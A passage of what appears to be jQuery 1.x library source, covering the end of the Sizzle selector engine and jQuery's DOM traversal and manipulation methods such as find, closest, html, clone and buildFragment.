3 || elem.nodeType === 4 ) { ret += elem.nodeValue; // Traverse everything else, except comment nodes } else if ( elem.nodeType !== 8 ) { ret += Sizzle.getText( elem.childNodes ); } } return ret; }; // Check to see if the browser returns elements by name when // querying by getElementById (and provide a workaround) (function(){ // We're going to inject a fake input element with a specified name var form = document.createElement("div"), id = "script" + (new Date()).getTime(), root = document.documentElement; form.innerHTML = "<a name='" + id + "'/>"; // Inject it into the root element, check its status, and remove it quickly root.insertBefore( form, root.firstChild ); // The workaround has to do additional checks after a getElementById // Which slows things down for other browsers (hence the branching) if ( document.getElementById( id ) ) { Expr.find.ID = function( match, context, isXML ) { if ( typeof context.getElementById !== "undefined" && !isXML ) { var m = context.getElementById(match[1]); return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : []; } }; Expr.filter.ID = function( elem, match ) { var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); return elem.nodeType === 1 && node && node.nodeValue === match; }; } root.removeChild( form ); // release memory in IE root = form = null; })(); (function(){ // Check to see if the browser returns only elements // when doing getElementsByTagName("*") // Create a fake element var div = document.createElement("div"); div.appendChild( document.createComment("") ); // Make sure no comments are found if ( div.getElementsByTagName("*").length > 0 ) { Expr.find.TAG = function( match, context ) { var results = context.getElementsByTagName( match[1] ); // Filter out possible comments if ( match[1] === "*" ) { var tmp = []; for ( var i = 0; results[i]; i++ ) { if ( results[i].nodeType === 1 ) { tmp.push( results[i] ); } } results = tmp; } return results; }; } // Check to see if an attribute returns normalized href attributes div.innerHTML = "<a href='#'></a>"; if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && div.firstChild.getAttribute("href") !== "#" ) { Expr.attrHandle.href = function( elem ) { return elem.getAttribute( "href", 2 ); }; } // release memory in IE div = null; })(); if ( document.querySelectorAll ) { (function(){ var oldSizzle = Sizzle, div = document.createElement("div"), id = "__sizzle__"; div.innerHTML = "<p class='TEST'></p>"; // Safari can't handle uppercase or unicode characters when // in quirks mode. if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { return; } Sizzle = function( query, context, extra, seed ) { context = context || document; // Only use querySelectorAll on non-XML documents // (ID selectors don't work in non-HTML documents) if ( !seed && !Sizzle.isXML(context) ) { // See if we find a selector to speed up var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query ); if ( match && (context.nodeType === 1 || context.nodeType === 9) ) { // Speed-up: Sizzle("TAG") if ( match[1] ) { return makeArray( context.getElementsByTagName( query ), extra ); // Speed-up: Sizzle(".CLASS") } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) { return makeArray( context.getElementsByClassName( match[2] ), extra ); } } if ( context.nodeType === 9 ) { // Speed-up: Sizzle("body") // The body element only exists once, optimize finding it if ( query === "body" && context.body ) { return makeArray( [ context.body ], extra ); // Speed-up: Sizzle("#ID") } else if ( match && match[3] ) { var elem = context.getElementById( match[3] ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 if ( elem && elem.parentNode ) { // Handle the case where IE and Opera return items // by name instead of ID if ( elem.id === match[3] ) { return makeArray( [ elem ], extra ); } } else { return makeArray( [], extra ); } } try { return makeArray( context.querySelectorAll(query), extra ); } catch(qsaError) {} // qSA works strangely on Element-rooted queries // We can work around this by specifying an extra ID on the root // and working up from there (Thanks to Andrew Dupont for the technique) // IE 8 doesn't work on object elements } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { var oldContext = context, old = context.getAttribute( "id" ), nid = old || id, hasParent = context.parentNode, relativeHierarchySelector = /^\s*[+~]/.test( query ); if ( !old ) { context.setAttribute( "id", nid ); } else { nid = nid.replace( /'/g, "\\$&" ); } if ( relativeHierarchySelector && hasParent ) { context = context.parentNode; } try { if ( !relativeHierarchySelector || hasParent ) { return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra ); } } catch(pseudoError) { } finally { if ( !old ) { oldContext.removeAttribute( "id" ); } } } } return oldSizzle(query, context, extra, seed); }; for ( var prop in oldSizzle ) { Sizzle[ prop ] = oldSizzle[ prop ]; } // release memory in IE div = null; })(); } (function(){ var html = document.documentElement, matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector; if ( matches ) { // Check to see if it's possible to do matchesSelector // on a disconnected node (IE 9 fails this) var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ), pseudoWorks = false; try { // This should fail with an exception // Gecko does not error, returns false instead matches.call( document.documentElement, "[test!='']:sizzle" ); } catch( pseudoError ) { pseudoWorks = true; } Sizzle.matchesSelector = function( node, expr ) { // Make sure that attribute selectors are quoted expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']"); if ( !Sizzle.isXML( node ) ) { try { if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) { var ret = matches.call( node, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || !disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9, so check for that node.document && node.document.nodeType !== 11 ) { return ret; } } } catch(e) {} } return Sizzle(expr, null, null, [node]).length > 0; }; } })(); (function(){ var div = document.createElement("div"); div.innerHTML = "<div class='test e'></div><div class='test'></div>"; // Opera can't find a second classname (in 9.6) // Also, make sure that getElementsByClassName actually exists if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { return; } // Safari caches class attributes, doesn't catch changes (in 3.2) div.lastChild.className = "e"; if ( div.getElementsByClassName("e").length === 1 ) { return; } Expr.order.splice(1, 0, "CLASS"); Expr.find.CLASS = function( match, context, isXML ) { if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { return context.getElementsByClassName(match[1]); } }; // release memory in IE div = null; })(); function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { for ( var i = 0, l = checkSet.length; i < l; i++ ) { var elem = checkSet[i]; if ( elem ) { var match = false; elem = elem[dir]; while ( elem ) { if ( elem.sizcache === doneName ) { match = checkSet[elem.sizset]; break; } if ( elem.nodeType === 1 && !isXML ){ elem.sizcache = doneName; elem.sizset = i; } if ( elem.nodeName.toLowerCase() === cur ) { match = elem; break; } elem = elem[dir]; } checkSet[i] = match; } } } function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { for ( var i = 0, l = checkSet.length; i < l; i++ ) { var elem = checkSet[i]; if ( elem ) { var match = false; elem = elem[dir]; while ( elem ) { if ( elem.sizcache === doneName ) { match = checkSet[elem.sizset]; break; } if ( elem.nodeType === 1 ) { if ( !isXML ) { elem.sizcache = doneName; elem.sizset = i; } if ( typeof cur !== "string" ) { if ( elem === cur ) { match = true; break; } } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { match = elem; break; } } elem = elem[dir]; } checkSet[i] = match; } } } if ( document.documentElement.contains ) { Sizzle.contains = function( a, b ) { return a !== b && (a.contains ? a.contains(b) : true); }; } else if ( document.documentElement.compareDocumentPosition ) { Sizzle.contains = function( a, b ) { return !!(a.compareDocumentPosition(b) & 16); }; } else { Sizzle.contains = function() { return false; }; } Sizzle.isXML = function( elem ) { // documentElement is verified for cases where it doesn't yet exist // (such as loading iframes in IE - #4833) var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; return documentElement ? documentElement.nodeName !== "HTML" : false; }; var posProcess = function( selector, context ) { var match, tmpSet = [], later = "", root = context.nodeType ? [context] : context; // Position selectors must be done after the filter // And so must :not(positional) so we move all PSEUDOs to the end while ( (match = Expr.match.PSEUDO.exec( selector )) ) { later += match[0]; selector = selector.replace( Expr.match.PSEUDO, "" ); } selector = Expr.relative[selector] ? selector + "*" : selector; for ( var i = 0, l = root.length; i < l; i++ ) { Sizzle( selector, root[i], tmpSet ); } return Sizzle.filter( later, tmpSet ); }; // EXPOSE jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; jQuery.expr[":"] = jQuery.expr.filters; jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; })(); var runtil = /Until$/, rparentsprev = /^(?:parents|prevUntil|prevAll)/, // Note: This RegExp should be improved, or likely pulled from Sizzle rmultiselector = /,/, isSimple = /^.[^:#\[\.,]*$/, slice = Array.prototype.slice, POS = jQuery.expr.match.POS, // methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend({ find: function( selector ) { var ret = this.pushStack( "", "find", selector ), length = 0; for ( var i = 0, l = this.length; i < l; i++ ) { length = ret.length; jQuery.find( selector, this[i], ret ); if ( i > 0 ) { // Make sure that the results are unique for ( var n = length; n < ret.length; n++ ) { for ( var r = 0; r < length; r++ ) { if ( ret[r] === ret[n] ) { ret.splice(n--, 1); break; } } } } } return ret; }, has: function( target ) { var targets = jQuery( target ); return this.filter(function() { for ( var i = 0, l = targets.length; i < l; i++ ) { if ( jQuery.contains( this, targets[i] ) ) { return true; } } }); }, not: function( selector ) { return this.pushStack( winnow(this, selector, false), "not", selector); }, filter: function( selector ) { return this.pushStack( winnow(this, selector, true), "filter", selector ); }, is: function( selector ) { return !!selector && jQuery.filter( selector, this ).length > 0; }, closest: function( selectors, context ) { var ret = [], i, l, cur = this[0]; if ( jQuery.isArray( selectors ) ) { var match, selector, matches = {}, level = 1; if ( cur && selectors.length ) { for ( i = 0, l = selectors.length; i < l; i++ ) { selector = selectors[i]; if ( !matches[selector] ) { matches[selector] = jQuery.expr.match.POS.test( selector ) ? jQuery( selector, context || this.context ) : selector; } } while ( cur && cur.ownerDocument && cur !== context ) { for ( selector in matches ) { match = matches[selector]; if ( match.jquery ? match.index(cur) > -1 : jQuery(cur).is(match) ) { ret.push({ selector: selector, elem: cur, level: level }); } } cur = cur.parentNode; level++; } } return ret; } var pos = POS.test( selectors ) ? jQuery( selectors, context || this.context ) : null; for ( i = 0, l = this.length; i < l; i++ ) { cur = this[i]; while ( cur ) { if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) { ret.push( cur ); break; } else { cur = cur.parentNode; if ( !cur || !cur.ownerDocument || cur === context ) { break; } } } } ret = ret.length > 1 ? jQuery.unique(ret) : ret; return this.pushStack( ret, "closest", selectors ); }, // Determine the position of an element within // the matched set of elements index: function( elem ) { if ( !elem || typeof elem === "string" ) { return jQuery.inArray( this[0], // If it receives a string, the selector is used // If it receives nothing, the siblings are used elem ? jQuery( elem ) : this.parent().children() ); } // Locate the position of the desired element return jQuery.inArray( // If it receives a jQuery object, the first element is used elem.jquery ? elem[0] : elem, this ); }, add: function( selector, context ) { var set = typeof selector === "string" ? jQuery( selector, context ) : jQuery.makeArray( selector ), all = jQuery.merge( this.get(), set ); return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ? all : jQuery.unique( all ) ); }, andSelf: function() { return this.add( this.prevObject ); } }); // A painfully simple check to see if an element is disconnected // from a document (should be improved, where feasible). function isDisconnected( node ) { return !node || !node.parentNode || node.parentNode.nodeType === 11; } jQuery.each({ parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return jQuery.dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return jQuery.dir( elem, "parentNode", until ); }, next: function( elem ) { return jQuery.nth( elem, 2, "nextSibling" ); }, prev: function( elem ) { return jQuery.nth( elem, 2, "previousSibling" ); }, nextAll: function( elem ) { return jQuery.dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return jQuery.dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return jQuery.dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return jQuery.dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return jQuery.sibling( elem.parentNode.firstChild, elem ); }, children: function( elem ) { return jQuery.sibling( elem.firstChild ); }, contents: function( elem ) { return jQuery.nodeName( elem, "iframe" ) ? elem.contentDocument || elem.contentWindow.document : jQuery.makeArray( elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var ret = jQuery.map( this, fn, until ), // The variable 'args' was introduced in // https://github.com/jquery/jquery/commit/52a0238 // to work around a bug in Chrome 10 (Dev) and should be removed when the bug is fixed. // http://code.google.com/p/v8/issues/detail?id=1050 args = slice.call(arguments); if ( !runtil.test( name ) ) { selector = until; } if ( selector && typeof selector === "string" ) { ret = jQuery.filter( selector, ret ); } ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret; if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) { ret = ret.reverse(); } return this.pushStack( ret, name, args.join(",") ); }; }); jQuery.extend({ filter: function( expr, elems, not ) { if ( not ) { expr = ":not(" + expr + ")"; } return elems.length === 1 ? jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] : jQuery.find.matches(expr, elems); }, dir: function( elem, dir, until ) { var matched = [], cur = elem[ dir ]; while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { if ( cur.nodeType === 1 ) { matched.push( cur ); } cur = cur[dir]; } return matched; }, nth: function( cur, result, dir, elem ) { result = result || 1; var num = 0; for ( ; cur; cur = cur[dir] ) { if ( cur.nodeType === 1 && ++num === result ) { break; } } return cur; }, sibling: function( n, elem ) { var r = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { r.push( n ); } } return r; } }); // Implement the identical functionality for filter and not function winnow( elements, qualifier, keep ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep(elements, function( elem, i ) { var retVal = !!qualifier.call( elem, i, elem ); return retVal === keep; }); } else if ( qualifier.nodeType ) { return jQuery.grep(elements, function( elem, i ) { return (elem === qualifier) === keep; }); } else if ( typeof qualifier === "string" ) { var filtered = jQuery.grep(elements, function( elem ) { return elem.nodeType === 1; }); if ( isSimple.test( qualifier ) ) { return jQuery.filter(qualifier, filtered, !keep); } else { qualifier = jQuery.filter( qualifier, filtered ); } } return jQuery.grep(elements, function( elem, i ) { return (jQuery.inArray( elem, qualifier ) >= 0) === keep; }); } var rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g, rleadingWhitespace = /^\s+/, rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig, rtagName = /<([\w:]+)/, rtbody = /<tbody/i, rhtml = /<|&#?\w+;/, rnocache = /<(?:script|object|embed|option|style)/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, wrapMap = { option: [ 1, "<select multiple='multiple'>", "</select>" ], legend: [ 1, "<fieldset>", "</fieldset>" ], thead: [ 1, "<table>", "</table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ], area: [ 1, "<map>", "</map>" ], _default: [ 0, "", "" ] }; wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; // IE can't serialize <link> and <script> tags normally if ( !jQuery.support.htmlSerialize ) { wrapMap._default = [ 1, "div<div>", "</div>" ]; } jQuery.fn.extend({ text: function( text ) { if ( jQuery.isFunction(text) ) { return this.each(function(i) { var self = jQuery( this ); self.text( text.call(this, i, self.text()) ); }); } if ( typeof text !== "object" && text !== undefined ) { return this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) ); } return jQuery.text( this ); }, wrapAll: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each(function(i) { jQuery(this).wrapAll( html.call(this, i) ); }); } if ( this[0] ) { // The elements to wrap the target around var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true); if ( this[0].parentNode ) { wrap.insertBefore( this[0] ); } wrap.map(function() { var elem = this; while ( elem.firstChild && elem.firstChild.nodeType === 1 ) { elem = elem.firstChild; } return elem; }).append(this); } return this; }, wrapInner: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each(function(i) { jQuery(this).wrapInner( html.call(this, i) ); }); } return this.each(function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } }); }, wrap: function( html ) { return this.each(function() { jQuery( this ).wrapAll( html ); }); }, unwrap: function() { return this.parent().each(function() { if ( !jQuery.nodeName( this, "body" ) ) { jQuery( this ).replaceWith( this.childNodes ); } }).end(); }, append: function() { return this.domManip(arguments, true, function( elem ) { if ( this.nodeType === 1 ) { this.appendChild( elem ); } }); }, prepend: function() { return this.domManip(arguments, true, function( elem ) { if ( this.nodeType === 1 ) { this.insertBefore( elem, this.firstChild ); } }); }, before: function() { if ( this[0] && this[0].parentNode ) { return this.domManip(arguments, false, function( elem ) { this.parentNode.insertBefore( elem, this ); }); } else if ( arguments.length ) { var set = jQuery(arguments[0]); set.push.apply( set, this.toArray() ); return this.pushStack( set, "before", arguments ); } }, after: function() { if ( this[0] && this[0].parentNode ) { return this.domManip(arguments, false, function( elem ) { this.parentNode.insertBefore( elem, this.nextSibling ); }); } else if ( arguments.length ) { var set = this.pushStack( this, "after", arguments ); set.push.apply( set, jQuery(arguments[0]).toArray() ); return set; } }, // keepData is for internal use only--do not document remove: function( selector, keepData ) { for ( var i = 0, elem; (elem = this[i]) != null; i++ ) { if ( !selector || jQuery.filter( selector, [ elem ] ).length ) { if ( !keepData && elem.nodeType === 1 ) { jQuery.cleanData( elem.getElementsByTagName("*") ); jQuery.cleanData( [ elem ] ); } if ( elem.parentNode ) { elem.parentNode.removeChild( elem ); } } } return this; }, empty: function() { for ( var i = 0, elem; (elem = this[i]) != null; i++ ) { // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( elem.getElementsByTagName("*") ); } // Remove any remaining nodes while ( elem.firstChild ) { elem.removeChild( elem.firstChild ); } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function () { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); }); }, html: function( value ) { if ( value === undefined ) { return this[0] && this[0].nodeType === 1 ? this[0].innerHTML.replace(rinlinejQuery, "") : null; // See if we can take a shortcut and just use innerHTML } else if ( typeof value === "string" && !rnocache.test( value ) && (jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value )) && !wrapMap[ (rtagName.exec( value ) || ["", ""])[1].toLowerCase() ] ) { value = value.replace(rxhtmlTag, "<$1></$2>"); try { for ( var i = 0, l = this.length; i < l; i++ ) { // Remove element nodes and prevent memory leaks if ( this[i].nodeType === 1 ) { jQuery.cleanData( this[i].getElementsByTagName("*") ); this[i].innerHTML = value; } } // If using innerHTML throws an exception, use the fallback method } catch(e) { this.empty().append( value ); } } else if ( jQuery.isFunction( value ) ) { this.each(function(i){ var self = jQuery( this ); self.html( value.call(this, i, self.html()) ); }); } else { this.empty().append( value ); } return this; }, replaceWith: function( value ) { if ( this[0] && this[0].parentNode ) { // Make sure that the elements are removed from the DOM before they are inserted // this can help fix replacing a parent with child elements if ( jQuery.isFunction( value ) ) { return this.each(function(i) { var self = jQuery(this), old = self.html(); self.replaceWith( value.call( this, i, old ) ); }); } if ( typeof value !== "string" ) { value = jQuery( value ).detach(); } return this.each(function() { var next = this.nextSibling, parent = this.parentNode; jQuery( this ).remove(); if ( next ) { jQuery(next).before( value ); } else { jQuery(parent).append( value ); } }); } else { return this.length ? this.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), "replaceWith", value ) : this; } }, detach: function( selector ) { return this.remove( selector, true ); }, domManip: function( args, table, callback ) { var results, first, fragment, parent, value = args[0], scripts = []; // We can't cloneNode fragments that contain checked, in WebKit if ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === "string" && rchecked.test( value ) ) { return this.each(function() { jQuery(this).domManip( args, table, callback, true ); }); } if ( jQuery.isFunction(value) ) { return this.each(function(i) { var self = jQuery(this); args[0] = value.call(this, i, table ? self.html() : undefined); self.domManip( args, table, callback ); }); } if ( this[0] ) { parent = value && value.parentNode; // If we're in a fragment, just use that instead of building a new one if ( jQuery.support.parentNode && parent && parent.nodeType === 11 && parent.childNodes.length === this.length ) { results = { fragment: parent }; } else { results = jQuery.buildFragment( args, this, scripts ); } fragment = results.fragment; if ( fragment.childNodes.length === 1 ) { first = fragment = fragment.firstChild; } else { first = fragment.firstChild; } if ( first ) { table = table && jQuery.nodeName( first, "tr" ); for ( var i = 0, l = this.length, lastIndex = l - 1; i < l; i++ ) { callback.call( table ? root(this[i], first) : this[i], // Make sure that we do not leak memory by inadvertently discarding // the original fragment (which might have attached data) instead of // using it; in addition, use the original fragment object for the last // item instead of first because it can end up being emptied incorrectly // in certain situations (Bug #8070). // Fragments from the fragment cache must always be cloned and never used // in place. results.cacheable || (l > 1 && i < lastIndex) ? jQuery.clone( fragment, true, true ) : fragment ); } } if ( scripts.length ) { jQuery.each( scripts, evalScript ); } } return this; } }); function root( elem, cur ) { return jQuery.nodeName(elem, "table") ? (elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody"))) : elem; } function cloneCopyEvent( src, dest ) { if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) { return; } var internalKey = jQuery.expando, oldData = jQuery.data( src ), curData = jQuery.data( dest, oldData ); // Switch to use the internal data object, if it exists, for the next // stage of data copying if ( (oldData = oldData[ internalKey ]) ) { var events = oldData.events; curData = curData[ internalKey ] = jQuery.extend({}, oldData); if ( events ) { delete curData.handle; curData.events = {}; for ( var type in events ) { for ( var i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type + ( events[ type ][ i ].namespace ? "." : "" ) + events[ type ][ i ].namespace, events[ type ][ i ], events[ type ][ i ].data ); } } } } } function cloneFixAttributes(src, dest) { // We do not need to do anything for non-Elements if ( dest.nodeType !== 1 ) { return; } var nodeName = dest.nodeName.toLowerCase(); // clearAttributes removes the attributes, which we don't want, // but also removes the attachEvent events, which we *do* want dest.clearAttributes(); // mergeAttributes, in contrast, only merges back on the // original attributes, not the events dest.mergeAttributes(src); // IE6-8 fail to clone children inside object elements that use // the proprietary classid attribute value (rather than the type // attribute) to identify the type of content to display if ( nodeName === "object" ) { dest.outerHTML = src.outerHTML; } else if ( nodeName === "input" && (src.type === "checkbox" || src.type === "radio") ) { // IE6-8 fails to persist the checked state of a cloned checkbox // or radio button. Worse, IE6-7 fail to give the cloned element // a checked appearance if the defaultChecked value isn't also set if ( src.checked ) { dest.defaultChecked = dest.checked = src.checked; } // IE6-7 get confused and end up setting the value of a cloned // checkbox/radio button to an empty string instead of "on" if ( dest.value !== src.value ) { dest.value = src.value; } // IE6-8 fails to return the selected option to the default selected // state when cloning options } else if ( nodeName === "option" ) { dest.selected = src.defaultSelected; // IE6-8 fails to set the defaultValue to the correct value when // cloning other types of input fields } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } // Event data gets referenced instead of copied if the expando // gets copied too dest.removeAttribute( jQuery.expando ); } jQuery.buildFragment = function( args, nodes, scripts ) { var fragment, cacheable, cacheresults, doc = (nodes && nodes[0] ? nodes[0].ownerDocument || nodes[0] : document); // Only cache "small" (1/2 KB) HTML strings that are associated with the main document // Cloning options loses the selected state, so don't cache them // IE 6 doesn't like it when you put <object> or <embed> elements in a fragment // Also, WebKit does not clone 'checked' attributes on cloneNode, so don't cache if ( args.length === 1 && typeof args[0] === "string" && args[0].length < 512 && doc === document && args[0].charAt(0) === "<" && !rnocache.test( args[0] ) && (jQuery.support.checkClone || !rchecked.test( args[0] )) ) { cacheable = true; cacheresults = jQuery.fragments[ args[0] ]; if ( cacheresults ) { if ( cacheresults !== 1 ) { fragment = cacheresults; } } } if ( !fragment ) { fragment = doc.createDocumentFragment(); jQuery.clean( args, doc, fragment, scripts ); } if ( cacheable ) { jQuery.fragments[ args[0] ] = cacheresults ? fragment : 1; } return { fragment: fragment, cacheable: cacheable }; }; jQuery.fragments = {}; jQuery.each({ appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var ret = [], insert = jQuery( selector ), parent = this.length === 1 && this[0].parentNode; if ( parent && parent.nodeType === 11 && parent.childNodes.length === 1 && insert.length === 1 ) { insert[ original ]( this[0] ); return this; } else { for ( var i = 0, l = insert.length; i < l; i++ ) { var elems = (i > 0 ? this.clone(true) : this).get(); jQuery( insert[i] )[ original ]( elems ); ret = ret.concat( elems ); } return this.pushStack( ret, name, insert.selector ); } }; }); function getAll( elem ) { if ( "getElementsByTagName" in elem ) { return elem.getElementsByTagName( "*" ); } else if ( "querySelectorAll" in elem ) { return elem.querySelectorAll( "*" ); } else { return []; } } jQuery.extend({ clone: function( elem, dataAndEvents, deepDataAndEvents ) { var clone = elem.cloneNode(true), srcElements, destElements, i; if ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) { // IE copies events bound via attachEvent when using cloneNode. // Calling detachEvent on the clone will also remove the events // from the original. In order to get around this, we use some // proprietary methods to clear the events. Thanks to MooTools // guys for this hotness. cloneFixAttributes( elem, clone ); // Using Sizzle here is crazy slow, so we use getElementsByTagName // instead srcElements = getAll( elem ); destElements = getAll( clone ); // Weird iteration because IE will replace the length property // with an element if you are cloning the body and one of the // elements on the page has a name or id of "length" for ( i = 0; srcElements[i]; ++i ) { cloneFixAttributes( srcElements[i], destElements[i] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { cloneCopyEvent( elem, clone ); if ( deepDataAndEvents ) { srcElements = getAll( elem ); destElements = getAll( clone ); for ( i = 0; srcElements[i]; ++i ) { cloneCopyEvent( srcElements[i], destElements[i] ); } } } // Return the cloned set return clone; }, clean: function( elems, context, fragment, scripts ) { context = context || document; // !context.createElement fails in IE with an error but returns typeof 'object' if ( typeof context.createElement === "undefined" ) { context = context.ownerDocument || context[0] && context[0].ownerDocument || document; } var ret = []; for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) { if ( typeof elem === "number" ) { elem += ""; } if ( !elem ) { continue; } // Convert html string into DOM nodes if ( typeof elem === "string" && !rhtml.test( elem ) ) { elem = context.createTextNode( elem ); } else if ( typeof elem === "string" ) { // Fix "XHTML"-style tags in all browsers elem = elem.replace(rxhtmlTag, "<$1></$2>"); // Trim whitespace, otherwise indexOf won't work as expected var tag = (rtagName.exec( elem ) || ["", ""])[1].toLowerCase(), wrap = wrapMap[ tag ] || wrapMap._default, depth = wrap[0], div = context.createElement("div"); // Go to html and back, then peel off extra wrappers div.innerHTML = wrap[1] + elem + wrap[2]; // Move to the right depth while ( depth-- ) { div = div.lastChild; } // Remove IE's autoinserted <tbody> from table fragments if ( !jQuery.support.tbody ) { // String was a <table>, *may* have spurious <tbody> var hasBody = rtbody.test(elem), tbody = tag === "table" && !hasBody ? div.firstChild && div.firstChild.childNodes : // String was a bare <thead> or <tfoot> wrap[1] === "<table>" && !hasBody ? div.childNodes : []; for ( var j = tbody.length - 1; j >= 0 ; --j ) { if ( jQuery.nodeName( tbody[ j ], "tbody" ) && !tbody[ j ].childNodes.length ) { tbody[ j ].parentNode.removeChild( tbody[ j ] ); } } } // IE completely kills leading whitespace when innerHTML is used if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) { div.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild ); } elem = div.childNodes; } if ( elem.nodeType ) { ret.push( elem ); } else { ret = jQuery.merge( ret, elem ); } } if ( fragment ) { for ( i = 0; ret[i]; i++ ) { if ( scripts && jQuery.nodeName( ret[i], "script" ) && (!ret[i].type || ret[i].type.toLowerCase() === "text/javascript") ) { scripts.push( ret[i].parentNode ? ret[i].parentNode.removeChild( ret[i] ) : ret[i] ); } else { if ( ret[i].nodeType === 1 ) { ret.splice.apply( ret, [i + 1, 0].concat(jQuery.makeArray(ret[i].getElementsByTagName("script"))) ); } fragment.appendChild( ret[i] ); } } } return ret; }, cleanData: function( elems ) { var data, id, cache = jQuery.cache, internalKey = jQuery.expando, special = jQuery.event.special, deleteExpando = jQuery.support.deleteExpando; for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) { if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) { continue; } id = elem[ jQuery.expando ]; if ( id ) { data = cache[ id ] && cache[ id ][ internalKey ]; if ( data && data.events ) { for ( var type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } // Null the DOM reference to avoid IE6/7/8 leak (#7054) if ( data.handle ) { data.handle.elem = null; } } if ( deleteExpando ) { delete elem[ jQuery.expando ]; } else if ( elem.removeAttribute ) { elem.removeAttribute( jQuery.expando ); } delete cache[ id ]; } } } }); function evalScript( i, elem ) { if ( elem.src ) { jQuery.ajax({ url: elem.src, async: false, dataType: "script" }); } else { jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" ); } if ( elem.parentNode ) { elem.parentNode.removeChild( elem ); } } var ralpha = /alpha\([^)]*\)/i, ropacity = /opacity=([^)]*)/, rdashAlpha = /-([a-z])/ig, // fixed for IE9, see #8346 rupper = /([A-Z]|^ms)/g, rnumpx = /^-?\d+(?:px)?$/i, rnum = /^-?\d/, cssShow = { 